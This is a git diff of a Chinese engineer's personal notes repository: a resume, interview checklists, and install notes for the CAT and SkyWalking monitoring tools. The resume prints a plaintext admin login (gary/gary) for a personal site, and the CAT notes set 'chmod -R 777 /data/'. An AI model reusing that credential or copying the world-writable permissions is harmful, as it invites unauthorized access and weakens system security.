某一天,我觉得运维工程师如同医生,面临不同人员反馈过来的问题,务必把症状弄清,顺着数据流找到病因,解决疾病。 - -## 3. 运维宗旨 + + - aws公有云各种服务的学习与日常使用。例如 alb,elb,rds,eks,route53,ec2... + - 日志收集:学习并且在测试环境部署了ES、Kibana、Filebeat,对应用日志进行收集;维护生产环境的ELK集群;学习并且使用了Logstash收集日志并且使用gork对日志进行切割提取关键字,使用dashboard进行画图。 + - CICD思想:将构建部署、线上发布二次确认都集中在了Jenkins里,解放运维工程师的双手。 + - 网络知识收获:透明代理,iptables,ipset,dnsmasq. + - 运维思想: + - 一个服务,从客户的访问到客户获取结果,必将有一个数据流。把要运维的任何一个项目的这个数据流走向弄清楚,画出流程图。 + - 某一天,我觉得运维工程师如同医生,面临不同人员反馈过来的问题,务必把症状弄清,顺着数据流找到病因,解决疾病。 + +## 3. 运维宗旨 + 自动化,可视化,标准化,工程化,服务自治。 -## 4. 爱好 +## 4. 爱好 + - 搏击、金融风险投资、催眠学、看书,写笔记、探索计算机与网络,学习英语 -- 吃喝玩乐 \ No newline at end of file +- 吃喝玩乐 diff --git a/manage/work/0.myresume.raw.md b/manage/work/0.myresume.raw.md index 22f084f..d528ddb 100644 --- a/manage/work/0.myresume.raw.md +++ b/manage/work/0.myresume.raw.md @@ -1,143 +1,183 @@ +--- +created_date: 2021-07-22 +--- + +[TOC] + [toc] + # 我的履历 + ## 个人作品 -### 微信公众号 + +### 微信公众号 + - 账户名称:X1577786 - 内容:大学时分享校内关于 R 语言、Android 、Java 的习题答案 和 IT学习笔记 - 内容:现在分享金融投资和对生活的思考 ### 开发运维相关的博客笔记 + - 此链接不再更新。 https://blog.csdn.net/IMPlove 记录自己在开发过程中遇到的不易于解决的问题。 - 此链接一直在更新。 https://github.com/garysdevil/ITNote ### Grafana + - 账户链接 https://grafana.com/orgs/garysdevil/dashboards -### 个人网站 +### 个人网站 + - 网站地址:http://garys.top/ - 功能:玩玩而已,之后有时间会做一些好玩的东西,最近没有更新。 ### Java项目 + #### 基本信息 + 1. 背景:导师叫帮开发的一个项目。 2. 项目名称:工程咨询人员胜任力测评网站 3. 项目功能:建筑工程师在网站上进行答题测评,考官在后台进行评卷,系统自动生成图表。 4. 时间:3个月;2018.08 -- 2018.10 5. 访问地址 - - 前台界面 http://garys.top/PMQ/front/register - - 后台界面: http://garys.top/PMQ/admin/login 超级用户:gary 密码:gary + - 前台界面 http://garys.top/PMQ/front/register + - 后台界面: http://garys.top/PMQ/admin/login 超级用户:gary 密码:gary 6. 人员: - - 需求方以及项目指导师傅:上海电力大学导师 胡伟老师。 - - 需求分析工程师:胡伟,王凌霄,谢世刚。 - - UI工程师:王凌霄(负责前台界面),谢世刚(负责后台界面)。 - - 前端开发工程师:王凌霄(负责前台界面),谢世刚(负责后台界面)。 - - 后端开发工程师:谢世刚。 + - 需求方以及项目指导师傅:上海电力大学导师 胡伟老师。 + - 需求分析工程师:胡伟,王凌霄,谢世刚。 + - UI工程师:王凌霄(负责前台界面),谢世刚(负责后台界面)。 + - 前端开发工程师:王凌霄(负责前台界面),谢世刚(负责后台界面)。 + - 后端开发工程师:谢世刚。 #### 项目排期 + 1. 阶段一:大家讨论,分析需求。 2. 阶段二:自学Axure,并且用 Axure 画原型图。 3. 阶段三:进行数据库表格的设计。需要什么表,什么字段等等。 4. 阶段四:技术选型: - - IDE集成开发环境:Eclipse。 - - 本地依赖包仓库:maven - - Web服务器:Tomcat,Nginx - - 版本控制:svn - - 数据库:Mysql。 - - 前后端是否分离:前后端分离;前后端通过restful API接口进行json格式的数据传输;通过session进行会话的保持;前端使用js进行数据渲染。 - - 前端语言以及框架:javascript、html、css,jQuery、jsPDF、echarts。 - - 后端语言以及框架:Java,Spring、SpringMVC、Mybatis。 - - 后端架构:使用经典的层级模式架构;DAO层、逻辑层、控制层。 + - IDE集成开发环境:Eclipse。 + - 本地依赖包仓库:maven + - Web服务器:Tomcat,Nginx + - 版本控制:svn + - 数据库:Mysql。 + - 前后端是否分离:前后端分离;前后端通过restful API接口进行json格式的数据传输;通过session进行会话的保持;前端使用js进行数据渲染。 + - 前端语言以及框架:javascript、html、css,jQuery、jsPDF、echarts。 + - 后端语言以及框架:Java,Spring、SpringMVC、Mybatis。 + - 后端架构:使用经典的层级模式架构;DAO层、逻辑层、控制层。 5. 阶段五:进行业务逻辑的编程,前端页面的实现,数据的渲染。 6. 阶段六:在 linux 系统上进行测试环境部署,进行数据库的优化,游览器兼容性测试。 #### 个人收获 + - 了解到了一个项目的整个开发流程。 - 学习并且运用了Spring,SpringMVC,Mybatis框架进行项目开发。 - 使自己在项目开发中能独当一面。 ## 工作经历 + ### 实习经历 -#### 隽天保险经纪公司 + +#### 隽天保险经纪公司 + - 时间:2个月 2018.07 -- 2018.08 -- 岗位:Java 开发实习生 +- 岗位:Java 开发实习生 - 工作内容:测试案例的编写与执行,制作公司的 APP《多荟保》的微信小程序界面。 - 个人收获:学习并制作了小程序;主要思想:模块化。 #### MODELO公司(中文名为“模袋”) + - 时间:8个月 2018.10---2019.06 - 岗位:后端开发实习工程师 - 主要工作内容: - - 维护公司网站 https://www.modeloapp.com/ 后端基于Nodejs编写的项目代码,根据需求编写新的 API 接口。 - - 参与公司新项目的设计与编码实现。负责模块:文字输入,然后展示对应的3D图像位置。 + - 维护公司网站 https://www.modeloapp.com/ 后端基于Nodejs编写的项目代码,根据需求编写新的 API 接口。 + - 参与公司新项目的设计与编码实现。负责模块:文字输入,然后展示对应的3D图像位置。 - 其它工作内容:写 Python Seledium爬虫,搭建 ffmpeg 转 rstp 为 hls 的服务器,使用 Docker 容器化后端服务等。 - 技术栈:NodeJs,Github,MongoDB,Postsql。 - 个人收获: - - 通过自学和导师的指导,学会了使用Nodejs进行后端代码的编写;nodejs语言机制天生是异步的,容易造成多层嵌套,使用async等关键字使代码结构减少嵌套并且保持整洁。 - - 通过视频全面自学了docker,并且运用在了生产环境上。 - - 学习使用了Python Seledium 进行了爬虫。 + - 通过自学和导师的指导,学会了使用Nodejs进行后端代码的编写;nodejs语言机制天生是异步的,容易造成多层嵌套,使用async等关键字使代码结构减少嵌套并且保持整洁。 + - 通过视频全面自学了docker,并且运用在了生产环境上。 + - 学习使用了Python Seledium 进行了爬虫。 ### 正式工作 -#### 上海万向区块链公司 + +#### 上海万向区块链公司 + - 时间:一年3个月 2019.07---2020.09 + - 岗位:SRE工程师 + - 工作内容一:私有云Vsphere管理,PowerShell自动化创建虚拟机。 + - 工作内容二:公链区块链全节点的部署与维护。例如 BTC,ETH。根据官方文档在Linux系统上进行部署,进行块高监控及时发现问题解决问题。 + - 工作内容三:使用Zabbix,Prometheus 对业务系统监控的,使用Grafana进行数据的展示。 + - 工作内容四:Platone联盟链的脚本化运维。一键部署,一键查看块高,一键查看日志。 + - 工作内容五:从0到1,负责DID数字钱包 https://me.hashkey.com 整个项目的运维,对接测试工程师研发工程师项目管理人员。 - - 通过Vsphere创建服务器,通过ansible刷基线。 - - 部署于ansible脚本进行一键部署K8s平台。 - - Mysql数据主从部署。 - - 中间件Nacos、Redis、Minio 通过yaml一键部署在k8s平台里。 - - 编写微服务的deployment,hpa 等k8s的yaml描述文件。 - - 使用 Jenkins Pipeline 进行CICD。 - - 通过Zabbix进行主机监控,Prometheus进行容器监控。 - - 通过ingress-traefic将服务对外暴露。 + + - 通过Vsphere创建服务器,通过ansible刷基线。 + - 部署于ansible脚本进行一键部署K8s平台。 + - Mysql数据主从部署。 + - 中间件Nacos、Redis、Minio 通过yaml一键部署在k8s平台里。 + - 编写微服务的deployment,hpa 等k8s的yaml描述文件。 + - 使用 Jenkins Pipeline 进行CICD。 + - 通过Zabbix进行主机监控,Prometheus进行容器监控。 + - 通过ingress-traefic将服务对外暴露。 + - 工作内容六:基于Golang语言制作运维平台的单点登入系统。 - 个人收获: - - 学习并且在测试环境、预发布环境、生产环境使用了K8S。 - - 进一步学习和运用了Linux和Shell。 - - 学会了Jenkins Pipeline的使用。 - - 熟练掌握了Zabbix监控,以及学习了Prometheus和Grafana并且进行了运用。 - - 学习并且使用Golang语言进行了项目的开发。 - - 交流技能:体会到了相对于开发,运维需要和更多的人进行对接与交流,需要及时反馈及时跟踪。 - - 运维技能:自己可以在运维工作中独当一面。 - -#### 上海格罗夫科技有限公司 + + - 学习并且在测试环境、预发布环境、生产环境使用了K8S。 + - 进一步学习和运用了Linux和Shell。 + - 学会了Jenkins Pipeline的使用。 + - 熟练掌握了Zabbix监控,以及学习了Prometheus和Grafana并且进行了运用。 + - 学习并且使用Golang语言进行了项目的开发。 + - 交流技能:体会到了相对于开发,运维需要和更多的人进行对接与交流,需要及时反馈及时跟踪。 + - 运维技能:自己可以在运维工作中独当一面。 + +#### 上海格罗夫科技有限公司 + - 时间 2020.09---至今 + - 岗位 运维工程师 + - 日常工作内容; - - 电商平台网站维护。例如 https://floryday.com/ https://airydress.com/ - - ERP项目维护(非容器化)。例如对某个项目进行改造进行平滑升级,主要是通过aws 的 target group健康检测,选择流量流入的节点来实现。 - - 基于Jenkins进行CICD。 - - 基于Prometheus,Zabbix进行监控配置,告警配置。 - - 基于ELK的日志收集。 - - 办公软件维护:Jenkins,Jumpserver,Jira,Confluence。 + + - 电商平台网站维护。例如 https://floryday.com/ https://airydress.com/ + - ERP项目维护(非容器化)。例如对某个项目进行改造进行平滑升级,主要是通过aws 的 target group健康检测,选择流量流入的节点来实现。 + - 基于Jenkins进行CICD。 + - 基于Prometheus,Zabbix进行监控配置,告警配置。 + - 基于ELK的日志收集。 + - 办公软件维护:Jenkins,Jumpserver,Jira,Confluence。 - 一次性工作: - - 学习并且使用Logstash,将aws的CloudWatch里的EKS master节点日志采集进ES里,使用gork进行日志切割,提取出一些关键字进行dashboard绘图。 - - 使用Golang编写一个程序将AWS Redis的慢日志收集进ELK。(编程开发) - - 使用Skywalking对PHP项目进行监控。 - - 研究Envoy,对某个项目进行灰度发布,等待长连接的释放。 - - kubernetes-sigs/descheduler项目二次开发,增加基于实际资源使用情况的二次调度。(编程开发) - - 镜像 https://hub.docker.com/repository/docker/garysdevil/descheduler - - 使用文档 https://github.com/garysdevil/descheduler/blob/gary/README-LowNodeActualUtilization.md - - 使用kube-state-metrics v2 监控k8s集群的状态,使用Grafana对kube-state-metrics v2进行画图。 - - 各种中间件的部署:nacos集群高可用、maxwell解析binlog... + + - 学习并且使用Logstash,将aws的CloudWatch里的EKS master节点日志采集进ES里,使用gork进行日志切割,提取出一些关键字进行dashboard绘图。 + - 使用Golang编写一个程序将AWS Redis的慢日志收集进ELK。(编程开发) + - 使用Skywalking对PHP项目进行监控。 + - 研究Envoy,对某个项目进行灰度发布,等待长连接的释放。 + - kubernetes-sigs/descheduler项目二次开发,增加基于实际资源使用情况的二次调度。(编程开发) + - 镜像 https://hub.docker.com/repository/docker/garysdevil/descheduler + - 使用文档 https://github.com/garysdevil/descheduler/blob/gary/README-LowNodeActualUtilization.md + - 使用kube-state-metrics v2 监控k8s集群的状态,使用Grafana对kube-state-metrics v2进行画图。 + - 各种中间件的部署:nacos集群高可用、maxwell解析binlog... - 个人收获 - - aws公有云各种服务的学习与日常使用。例如 alb,elb,rds,eks,route53,ec2... - - 日志收集:学习并且在测试环境部署了ES、Kibana、Filebeat,对应用日志进行收集;维护生产环境的ELK集群;学习并且使用了Logstash收集日志并且使用gork对日志进行切割提取关键字,使用dashboard进行画图。 - - CICD思想:将构建部署、线上发布二次确认都集中在了Jenkins里,解放运维工程师的双手。 - - 网络知识收获:透明代理,iptables,ipset,dnsmasq. - - 运维思想: - - 一个服务,从客户的访问到客户获取结果,必将有一个数据流。把要运维的任何一个项目的这个数据流走向弄清楚,画出流程图。 - - 某一天,我觉得运维工程师如同医生,面临不同人员反馈过来的问题,务必把症状弄清,顺着数据流找到病因,解决疾病。 + + - aws公有云各种服务的学习与日常使用。例如 alb,elb,rds,eks,route53,ec2... + - 日志收集:学习并且在测试环境部署了ES、Kibana、Filebeat,对应用日志进行收集;维护生产环境的ELK集群;学习并且使用了Logstash收集日志并且使用gork对日志进行切割提取关键字,使用dashboard进行画图。 + - CICD思想:将构建部署、线上发布二次确认都集中在了Jenkins里,解放运维工程师的双手。 + - 网络知识收获:透明代理,iptables,ipset,dnsmasq. + - 运维思想: + - 一个服务,从客户的访问到客户获取结果,必将有一个数据流。把要运维的任何一个项目的这个数据流走向弄清楚,画出流程图。 + - 某一天,我觉得运维工程师如同医生,面临不同人员反馈过来的问题,务必把症状弄清,顺着数据流找到病因,解决疾病。 ## 运维宗旨 + 自动化,可视化,标准化,工程化,服务自治。 ## 爱好 + - 搏击、金融风险投资、催眠学、看书,写笔记、探索计算机与网络,学习英语 -- 吃喝玩乐 \ No newline at end of file +- 吃喝玩乐 diff --git a/manage/work/1.introduction.md b/manage/work/1.introduction.md index 806e5b6..84c20b4 100644 --- a/manage/work/1.introduction.md +++ b/manage/work/1.introduction.md @@ -1,11 +1,19 @@ +--- +created_date: 2021-07-20 +--- + +[TOC] + # 我的简历 ## 开发类工作 ## 运维类工作 + 1. 运维理念:服务治理 自动化运维 SRE ## 研发类工作 ## 我的特色 -2. 完整的项目运维经验,监控经验,K8S \ No newline at end of file + +2. 完整的项目运维经验,监控经验,K8S diff --git a/manage/work/2.interviewee.md b/manage/work/2.interviewee.md index 1d7ed9d..b11b5fe 100644 --- a/manage/work/2.interviewee.md +++ b/manage/work/2.interviewee.md @@ -1,37 +1,48 @@ +--- +created_date: 2021-07-20 +--- +[TOC] # 作为面试者 + ## 第一问 ~ 直中要害 -1. 公司是否打卡;打卡是否弹性打卡 -2. 此岗位规划人员数目 -3. 此岗位目前人员数目 -4. 为什么此岗位需要进行新的招聘(老员工离职、新增此岗位、团队扩大) -5. 公司氛围 -6. 关于加班相关的制度 -7. 五险一金缴纳情况 -8. 年假;病假,病假是否带薪,病假薪水是否被打折 -9. 公司人数总规模,主要业务,主要产品 -10. 薪水 +01. 公司是否打卡;打卡是否弹性打卡 +02. 此岗位规划人员数目 +03. 此岗位目前人员数目 +04. 为什么此岗位需要进行新的招聘(老员工离职、新增此岗位、团队扩大) +05. 公司氛围 +06. 关于加班相关的制度 +07. 五险一金缴纳情况 +08. 年假;病假,病假是否带薪,病假薪水是否被打折 +09. 公司人数总规模,主要业务,主要产品 +10. 薪水 ## 第一技术面 + 1. 面试官的岗位,下级,直接上级,主要工作内容 - - 知彼知己,自己能从直接上级获得到什么技术/资源上的支持 + + - 知彼知己,自己能从直接上级获得到什么技术/资源上的支持 2. 公司是否会定期进行 内部技术分享,技术培训 - - 决定了公司的技术氛围 + + - 决定了公司的技术氛围 3. 团队规模,架构,技术栈 - - 决定了你的难兄难弟 - - 决定了你可以接触到的资源 - - 决定了你可以学习的技术 + + - 决定了你的难兄难弟 + - 决定了你可以接触到的资源 + - 决定了你可以学习的技术 4. 是否愿意尝试最新技术 - - 决定了个人是否能往最新技术发展 + + - 决定了个人是否能往最新技术发展 5. 我们部门负责的主要项目是,工作内容是(了解部门工作情况) 6. 我的工作内容 ## 潜在要素 + 1. 了解哪些面试官可以直接决定你的薪水 diff --git a/manage/work/3.interviewer.md b/manage/work/3.interviewer.md index 49ae6dc..8bfe07c 100644 --- a/manage/work/3.interviewer.md +++ b/manage/work/3.interviewer.md @@ -1,3 +1,9 @@ +--- +created_date: 2021-07-20 +--- + +[TOC] + # 作为面试官 1. 离职原因 @@ -10,4 +16,4 @@ 5. 期望薪资 -6. 职业规划 \ No newline at end of file +6. 职业规划 diff --git a/manage/work/4.newstart.md b/manage/work/4.newstart.md index 4d4a32c..3816397 100644 --- a/manage/work/4.newstart.md +++ b/manage/work/4.newstart.md @@ -1,3 +1,9 @@ +--- +created_date: 2021-07-20 +--- + +[TOC] + # 作为公司的新员工~我们该如何快速获取资源掌控工作节奏 1. 公司架构图 @@ -6,4 +12,4 @@ 3. 项目结构图 -4. 公共服务资源文档存放在哪里 \ No newline at end of file +4. 公共服务资源文档存放在哪里 diff --git a/manage/work/README.md b/manage/work/README.md index d3871d9..5aa71c9 100644 --- a/manage/work/README.md +++ b/manage/work/README.md @@ -1,5 +1,13 @@ +--- +created_date: 2021-07-20 +--- + +[TOC] + # 工作 + ## 何为工作 + 1. 寻找能施展才华实现自我价值的平台 2. 寻找让自己得到成长和获取资源的平台 3. 获取应该获取的利润回报 @@ -10,4 +18,4 @@ ## 作为面试官,我们该问什么 -## 作为公司的新员工,我们该如何快速获取资源掌控工作节奏 \ No newline at end of file +## 作为公司的新员工,我们该如何快速获取资源掌控工作节奏 diff --git a/monitor/APM&Tracing/README.md b/monitor/APM&Tracing/README.md index 474b1b6..9cf26de 100644 --- a/monitor/APM&Tracing/README.md +++ b/monitor/APM&Tracing/README.md @@ -1,24 +1,35 @@ +--- +created_date: 2020-11-24 +--- + +[TOC] + ## Dapper + - 参考 -https://static.googleusercontent.com/media/research.google.com/en-US//archive/papers/dapper-2010-1.pdf -http://bigbully.github.io/Dapper-translation/ 中文翻译 -https://research.google/pubs/pub36356/ + https://static.googleusercontent.com/media/research.google.com/en-US//archive/papers/dapper-2010-1.pdf + http://bigbully.github.io/Dapper-translation/ 中文翻译 + https://research.google/pubs/pub36356/ +## OpenTracing +- 参考 -## OpenTracing -- 参考 - - https://wu-sheng.gitbooks.io/opentracing-io/content/ - - https://opentracing.io + - https://wu-sheng.gitbooks.io/opentracing-io/content/ + - https://opentracing.io - OpenTracing(http://opentracing.io/)是分布式跟踪系统。 + ## APM + - 参考 - - https://didispace-wx.blog.csdn.net/article/details/88677526?utm_medium=distribute.pc_relevant.none-task-blog-BlogCommendFromBaidu-2.not_use_machine_learn_pai&depth_1-utm_source=distribute.pc_relevant.none-task-blog-BlogCommendFromBaidu-2.not_use_machine_learn_pai + + - https://didispace-wx.blog.csdn.net/article/details/88677526?utm_medium=distribute.pc_relevant.none-task-blog-BlogCommendFromBaidu-2.not_use_machine_learn_pai&depth_1-utm_source=distribute.pc_relevant.none-task-blog-BlogCommendFromBaidu-2.not_use_machine_learn_pai - APM (Application Performance Management,即应用性能管理,在分布式领域也称为分布式跟踪管理)对企业的应用系统进行实时监控,它是用于实现对应用程序性能管理和故障管理的系统化的解决方案。 ## 相关软件 + 1. skywalking 非代码侵入性 中国主导 gRPC 2. Pinpoint 非代码侵入性 韩国主导 thrift 3. Zipkin 代码侵入性弱 diff --git a/monitor/APM&Tracing/cat.md b/monitor/APM&Tracing/cat.md index e1af39b..e4840ba 100644 --- a/monitor/APM&Tracing/cat.md +++ b/monitor/APM&Tracing/cat.md @@ -1,25 +1,39 @@ +--- +created_date: 2021-07-18 +--- + +[TOC] + - 参考 - - https://github.com/dianping/cat/wiki/readme_server + - https://github.com/dianping/cat/wiki/readme_server + ## 安装 + 1. 依赖 - 1. mysql5.7 - 2. java1.8 - 3. maven3+ 如果自己编译cat源码为war包则需要安装 - 4. tomcat7 - + 1. mysql5.7 + 2. java1.8 + 3. maven3+ 如果自己编译cat源码为war包则需要安装 + 4. tomcat7 + ### 安装配置tomcat + 1. 安装 + ```bash yum install tomcat ``` + 2. 更改tomcat启动参数 vim tomcat/bin/setenv.sh + ```bash export CAT_HOME=/data/appdatas/cat/ # 修改启动参数 java对内存分配 CATALINA_OPTS="$CATALINA_OPTS -server -DCAT_HOME=$CAT_HOME -Djava.awt.headless=true -Xms25G -Xmx25G -XX:PermSize=256m -XX:MaxPermSize=256m -XX:NewSize=10144m -XX:MaxNewSize=10144m -XX:SurvivorRatio=10 -XX:+UseParNewGC -XX:ParallelGCThreads=4 -XX:MaxTenuringThreshold=13 -XX:+UseConcMarkSweepGC -XX:+DisableExplicitGC -XX:+UseCMSInitiatingOccupancyOnly -XX:+ScavengeBeforeFullGC -XX:+UseCMSCompactAtFullCollection -XX:+CMSParallelRemarkEnabled -XX:CMSFullGCsBeforeCompaction=9 -XX:CMSInitiatingOccupancyFraction=60 -XX:+CMSClassUnloadingEnabled -XX:SoftRefLRUPolicyMSPerMB=0 -XX:-ReduceInitialCardMarks -XX:+CMSPermGenSweepingEnabled -XX:CMSInitiatingPermOccupancyFraction=70 -XX:+ExplicitGCInvokesConcurrent -Djava.nio.channels.spi.SelectorProvider=sun.nio.ch.EPollSelectorProvider -Djava.util.logging.manager=org.apache.juli.ClassLoaderLogManager -XX:+PrintGCDetails -XX:+PrintGCTimeStamps -XX:+PrintGCApplicationConcurrentTime -XX:+PrintHeapAtGC -Xloggc:/data/applogs/heap_trace.txt -XX:-HeapDumpOnOutOfMemoryError -XX:HeapDumpPath=/data/applogs/HeapDumpOnOutOfMemoryError -Djava.util.Arrays.useLegacyMergeSort=true" ``` + 3. 修改中文乱码 vim /usr/share/tomcat/conf/server.xml + ```xml ``` -### 配置cat集群 /data/appdatas/cat/ +### 配置cat集群 /data/appdatas/cat/ + 1. 创建 + ```bash mkdir -p /data/appdatas/cat/ chmod -R 777 /data/ cd /data/appdatas/cat/ ``` + 2. 数据库配置 vim /data/appdatas/cat/datasources.xml + ```xml @@ -57,7 +75,9 @@ cd /data/appdatas/cat/ ``` ### cat客户端配置 + 2. 集群配置 vim client.xml + ```xml @@ -69,7 +89,9 @@ cd /data/appdatas/cat/ ``` + ### 数据库配置 和 配置war包 + ```bash git clone https://github.com/dianping/cat.git @@ -89,6 +111,7 @@ mv car.war /usr/share/tomcat/webapps ``` ### 启动 和 访问并且在web界面更改路由策略 + ```bash systemctl restart tomcat systemctl enable tomcat @@ -96,6 +119,7 @@ http://${IP}:8080/cat/s/config?op=routerConfigUpdat/ ``` ## 问题 + 1. 报表在小时模式里有数据,但在历史模式下没有数据 - - 在web界面修改服务端配置 - - job-machine : 定义当前服务是否为报告工作机(开启生成汇总报告和统计报告的任务,只需要一台服务机开启此功能),默认为 false; \ No newline at end of file + - 在web界面修改服务端配置 + - job-machine : 定义当前服务是否为报告工作机(开启生成汇总报告和统计报告的任务,只需要一台服务机开启此功能),默认为 false; diff --git a/monitor/APM&Tracing/skywalking-agent.md b/monitor/APM&Tracing/skywalking-agent.md index 8c809f0..5aa297b 100644 --- a/monitor/APM&Tracing/skywalking-agent.md +++ b/monitor/APM&Tracing/skywalking-agent.md @@ -1,15 +1,23 @@ +--- +created_date: 2020-11-24 +--- + +[TOC] + ## SkyAPM-php-sdk -- 参考 -https://github.com/SkyAPM/SkyAPM-php-sdk -https://github.com/SkyAPM/SkyAPM-php-sdk/blob/master/docs/install.md +- 参考 + https://github.com/SkyAPM/SkyAPM-php-sdk\ + https://github.com/SkyAPM/SkyAPM-php-sdk/blob/master/docs/install.md ### 裸安装 v3.3.2 + - 参考 -https://www.jianshu.com/p/a30dc7b19f7a -https://github.com/SkyAPM/SkyAPM-php-sdk/blob/v3.3.2/docs/install.md 官方 + https://www.jianshu.com/p/a30dc7b19f7a + https://github.com/SkyAPM/SkyAPM-php-sdk/blob/v3.3.2/docs/install.md 官方 1. php配置 + ```conf [skywalking] ; Loading extensions in PHP @@ -29,12 +37,15 @@ skywalking.app_code = MyProjectName ; Warning *Make sure PHP has read and write permissions on the socks file* skywalking.sock_path=/tmp/sky-agent.sock ``` + 2. 启动 -./sky-php-agent --grpc=${IP}:11800 --socket=/tmp/sky-agent.sock + ./sky-php-agent --grpc=${IP}:11800 --socket=/tmp/sky-agent.sock ### centos裸安装 v4.1.0 + 1. 安装文档 https://github.com/SkyAPM/SkyAPM-php-sdk/blob/master/docs/install.md -Install Protobuf + Install Protobuf + ```bash sudo yum install autoconf automake libtool curl make gcc-c++ unzip -y git clone https://github.com/protocolbuffers/protobuf.git @@ -49,7 +60,9 @@ make check sudo make install sudo ldconfig # refresh shared library cache. ``` + Install GRPC + ```bash yum groupinstall "Development Tools" "Development Libraries" yum install autoconf libtool cmake @@ -65,6 +78,7 @@ sudo make install make clean sudo ldconfig ``` + ```bash curl -Lo v4.1.0.tar.gz https://github.com/SkyAPM/SkyAPM-php-sdk/archive/v4.1.0.tar.gz tar zxvf v4.1.0.tar.gz @@ -72,13 +86,16 @@ cd SkyAPM-php-sdk-4.1.0 export LD_LIBRARY_PATH=$LD_LIBRARY_PATH:/usr/local/lib:/usr/local/lib64/ phpize && ./configure && make && make install ``` + 2. 如果有多个php版本,注意配置使用的php版本 -./configure --with-php-config=-----/bin/php-config + ./configure --with-php-config=-----/bin/php-config + +#### 遇到的错误 -#### 遇到的错误 1. cmake: command not found -解决措施 -```bash + 解决措施 + +```bash yum install gcc7* -y # gcc -v 查看gcc版本,根据情况升级 yum install openssl-devel -y # 解决 Could not find OpenSSL. sudo yum install build-essential libssl-dev @@ -92,14 +109,17 @@ make sudo make install echo "end----" ``` + 2. fatal error: src/network/v3/language-agent/Tracing.pb.h: No such file or directory -参考方案:https://github.com/SkyAPM/SkyAPM-php-sdk/issues/289 -解决措施: -export LD_LIBRARY_PATH=$LD_LIBRARY_PATH:/usr/local/lib:/usr/local/lib64/ -或者将"/usr/local/lib64/" >> /etc/ld.so.conf && ldconfig + 参考方案:https://github.com/SkyAPM/SkyAPM-php-sdk/issues/289 + 解决措施: + export LD_LIBRARY_PATH=$LD_LIBRARY_PATH:/usr/local/lib:/usr/local/lib64/ + 或者将"/usr/local/lib64/" >> /etc/ld.so.conf && ldconfig #### php配置与启动 + 1. php.ini + ```conf [skywalking] ; Loading extensions in PHP @@ -121,11 +141,13 @@ skywalking.grpc=127.0.0.1:11800 skywalking.log_enable = 1 skywalking.log_path = /tmp/skywalking-php.log ``` + 2. php-fpm程序必须是前台启动模式 -bin/php-fpm --daemonize no 或者 bin/php-fpm -后台启动模式:后台守护进程先启动A主进程,A主进程又另外单独起了B主进程,这个B主进程启动完毕后,A进程会退出。但是v4的消费和生产线程是由A 启动的,A关闭后,相关线程会退出,所以不能用后台守护进程模式启动。 + bin/php-fpm --daemonize no 或者 bin/php-fpm\ + 后台启动模式:后台守护进程先启动A主进程,A主进程又另外单独起了B主进程,这个B主进程启动完毕后,A进程会退出。但是v4的消费和生产线程是由A 启动的,A关闭后,相关线程会退出,所以不能用后台守护进程模式启动。 3. 配置完成后重启php即可 ### 容器安装 -docker run -d -e SW_OAP_ADDRESS=127.0.0.1:11800 -p 9000:9000 skyapm/skywalking-php \ No newline at end of file + +docker run -d -e SW_OAP_ADDRESS=127.0.0.1:11800 -p 9000:9000 skyapm/skywalking-php diff --git a/monitor/APM&Tracing/skywalking.md b/monitor/APM&Tracing/skywalking.md index 2eab7aa..4a442e3 100644 --- a/monitor/APM&Tracing/skywalking.md +++ b/monitor/APM&Tracing/skywalking.md @@ -1,8 +1,15 @@ +--- +created_date: 2020-11-16 +--- + +[TOC] + # Skywalking + - 参考文档 -https://skywalking.apache.org/ -https://skywalking.apache.org/zh/blog/2019-03-29-introduction-of-skywalking-and-simple-practice.html -https://blog.csdn.net/wuzhiwei549/article/details/108856398 + https://skywalking.apache.org/ + https://skywalking.apache.org/zh/blog/2019-03-29-introduction-of-skywalking-and-simple-practice.html + https://blog.csdn.net/wuzhiwei549/article/details/108856398 - 基于v8.2.0版本记录的笔记 @@ -11,52 +18,60 @@ https://blog.csdn.net/wuzhiwei549/article/details/108856398 2. 客户端支持:Java, C#, PHP, Node.js, Go ## 组件与架构 + - 参考 -https://github.com/apache/skywalking/blob/master/docs/en/concepts-and-designs/overview.md + https://github.com/apache/skywalking/blob/master/docs/en/concepts-and-designs/overview.md 1. Probes 负责采集与格式化数据 对于不同的语言会有不同的agent插件 2. Platform backend 后端逻辑层 OAP -3. Storage 存储 默认自带存储H2, 推荐ElasticSearh +3. Storage 存储 默认自带存储H2, 推荐ElasticSearh 4. UI 前端 -- 链路跟踪支持: -后端服务 游览器 服务网格 +- 链路跟踪支持: + 后端服务 游览器 服务网格 ## 运行机制 + 1. 历史数据 -Skywalking的数据TTL策略是通过线程定时调用ES API条件删除历史数据。 -默认配置是:链路数据存放3天,每5分钟删除7天前的数据。APM数据存放7天。 -网上工程师发现的缺陷:ES删除缓慢,导致数据堆积。恶性循环下导致本来设置的TTL时间为90分钟,结果却堆积了近5天数据。目前直接把TTL时间改为了7天,数据删除依然缓慢,几乎没有删除掉,导致数据堆积越来越多。 + Skywalking的数据TTL策略是通过线程定时调用ES API条件删除历史数据。\ + 默认配置是:链路数据存放3天,每5分钟删除7天前的数据。APM数据存放7天。 + 网上工程师发现的缺陷:ES删除缓慢,导致数据堆积。恶性循环下导致本来设置的TTL时间为90分钟,结果却堆积了近5天数据。目前直接把TTL时间改为了7天,数据删除依然缓慢,几乎没有删除掉,导致数据堆积越来越多。 2. 传输机制 -agent 到 OAP 是通过gRPC通信的。 + agent 到 OAP 是通过gRPC通信的。 ## 安装 + - 参考 -https://github.com/apache/skywalking/blob/master/docs/en/setup/README.md + https://github.com/apache/skywalking/blob/master/docs/en/setup/README.md + ### 裸安装 + 0. java1.8环境 1. wget https://archive.apache.org/dist/skywalking/8.2.0/apache-skywalking-apm-es7-8.2.0.tar.gz -wget https://apache.website-solution.net/skywalking/8.2.0/apache-skywalking-apm-8.2.0.tar.gz -https://archive.apache.org/dist/skywalking/8.2.0/apache-skywalking-apm-8.2.0.tar.gz + wget https://apache.website-solution.net/skywalking/8.2.0/apache-skywalking-apm-8.2.0.tar.gz + https://archive.apache.org/dist/skywalking/8.2.0/apache-skywalking-apm-8.2.0.tar.gz 2. 查看后端使用的数据存储 -grep "storage:" -A 2 ./config/application.yml + grep "storage:" -A 2 ./config/application.yml 3. 保持 UI 、 OAP backend 和 agent 所在的服务器时钟一致 4. 启动-程序直接在后台运行 -./bin/startup.sh + ./bin/startup.sh 5. 默认端口 -8080 UI端口 -11800 agent连接的OAP的gRPC端口 -12800 rest端口;UI连接OAP的端口 + 8080 UI端口 + 11800 agent连接的OAP的gRPC端口 + 12800 rest端口;UI连接OAP的端口 + ### 配置 + - 